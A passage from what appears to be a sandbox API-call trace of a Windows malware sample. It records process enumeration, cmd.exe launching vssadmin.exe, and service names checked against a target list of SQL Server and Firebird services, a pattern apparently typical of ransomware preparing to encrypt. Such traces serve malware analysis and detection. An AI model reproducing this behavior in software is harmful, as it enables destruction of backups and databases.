dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0062.993] lstrlenW (lpString="spgagentservice.exe") returned 19 [0062.993] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0062.995] lstrlenW (lpString="utg2.exe") returned 8 [0062.995] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0062.996] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0062.997] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0062.998] lstrlenW (lpString="increases.exe") returned 13 [0062.998] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.999] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.999] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.000] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.000] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0063.001] lstrlenW (lpString="driver.exe") returned 10 [0063.001] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.002] lstrlenW (lpString="cmd.exe") returned 7 [0063.002] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.004] lstrlenW (lpString="conhost.exe") returned 11 [0063.004] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.117] lstrlenW (lpString="vssadmin.exe") returned 12 [0063.117] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0063.133] lstrlenW (lpString="VSSVC.exe") returned 9 [0063.133] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.153] lstrlenW (lpString="svchost.exe") returned 11 [0063.153] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0063.162] CloseHandle (hObject=0x1f0) returned 1 [0063.163] Sleep (dwMilliseconds=0x1f4) [0063.953] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0818 [0063.954] EnumServicesStatusExW (in: hSCManager=0x35f0818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0063.954] GetLastError () returned 0xea [0063.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x142e) returned 0x62d5c0 [0063.954] EnumServicesStatusExW (in: hSCManager=0x35f0818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x62d5c0, cbBufSize=0x142e, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x62d5c0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0063.955] CloseServiceHandle (hSCObject=0x35f0818) returned 1 [0063.956] lstrlenW (lpString="Appinfo") returned 7 [0063.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.956] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.956] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.956] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.956] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.956] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.956] lstrlenW (lpString="AudioSrv") returned 8 [0063.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0063.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0063.956] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0063.956] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0063.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0063.956] lstrlenW (lpString="BFE") returned 3 [0063.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.956] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.957] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.957] lstrlenW (lpString="CryptSvc") returned 8 [0063.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.957] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.957] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.957] lstrlenW (lpString="CscService") returned 10 [0063.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0063.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0063.957] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0063.957] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0063.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0063.957] lstrlenW (lpString="DcomLaunch") returned 10 [0063.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.957] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.957] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.957] lstrlenW (lpString="Dhcp") returned 4 [0063.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.958] lstrlenW (lpString="Dnscache") returned 8 [0063.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.958] lstrlenW (lpString="DPS") returned 3 [0063.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.958] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.958] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.958] lstrlenW (lpString="eventlog") returned 8 [0063.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0063.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0063.958] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0063.959] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0063.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0063.959] lstrlenW (lpString="EventSystem") returned 11 [0063.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.959] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.959] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.959] lstrlenW (lpString="FontCache") returned 9 [0063.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0063.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0063.959] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0063.959] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0063.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0063.959] lstrlenW (lpString="gpsvc") returned 5 [0063.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.960] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.960] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.960] lstrlenW (lpString="iphlpsvc") returned 8 [0063.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.960] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.960] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.960] lstrlenW (lpString="LanmanServer") returned 12 [0063.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.960] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.960] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.960] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.960] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.960] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.961] lstrlenW (lpString="lmhosts") returned 7 [0063.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.961] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.961] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.961] lstrlenW (lpString="MMCSS") returned 5 [0063.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0063.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0063.961] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0063.961] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0063.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0063.961] lstrlenW (lpString="MpsSvc") returned 6 [0063.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.961] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.961] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.961] lstrlenW (lpString="Netman") returned 6 [0063.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0063.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0063.961] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0063.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0063.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0063.962] lstrlenW (lpString="netprofm") returned 8 [0063.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.962] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.962] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.962] lstrlenW (lpString="NlaSvc") returned 6 [0063.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.962] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.962] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.962] lstrlenW (lpString="nsi") returned 3 [0063.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.962] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.962] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.962] lstrlenW (lpString="PcaSvc") returned 6 [0063.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.963] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.963] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.963] lstrlenW (lpString="PlugPlay") returned 8 [0063.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.963] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.963] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.963] lstrlenW (lpString="Power") returned 5 [0063.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.963] lstrlenW (lpString="ProfSvc") returned 7 [0063.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.963] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.963] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.963] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.964] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.964] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.964] lstrlenW (lpString="RpcSs") returned 5 [0063.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.964] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.964] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.964] lstrlenW (lpString="SamSs") returned 5 [0063.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.964] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.964] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.964] lstrlenW (lpString="Schedule") returned 8 [0063.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.965] lstrlenW (lpString="SENS") returned 4 [0063.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.965] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.965] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.965] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.965] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.965] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.965] lstrlenW (lpString="Spooler") returned 7 [0063.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.965] lstrlenW (lpString="sppsvc") returned 6 [0063.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0063.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0063.965] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0063.966] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0063.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0063.966] lstrlenW (lpString="swprv") returned 5 [0063.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0063.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0063.966] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0063.966] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0063.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0063.966] lstrlenW (lpString="SysMain") returned 7 [0063.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0063.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0063.966] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0063.966] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0063.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0063.966] lstrlenW (lpString="Themes") returned 6 [0063.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0063.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0063.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0063.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0063.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0063.966] lstrlenW (lpString="TrkWks") returned 6 [0063.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0063.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0063.967] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0063.967] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0063.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0063.967] lstrlenW (lpString="UxSms") returned 5 [0063.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0063.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0063.967] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0063.967] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0063.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0063.967] lstrlenW (lpString="VSS") returned 3 [0063.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0063.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0063.967] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0063.967] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0063.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0063.967] lstrlenW (lpString="WdiServiceHost") returned 14 [0063.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.967] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0063.967] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0063.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0063.967] lstrlenW (lpString="WdiSystemHost") returned 13 [0063.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.968] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0063.968] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0063.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0063.968] lstrlenW (lpString="WinDefend") returned 9 [0063.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0063.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 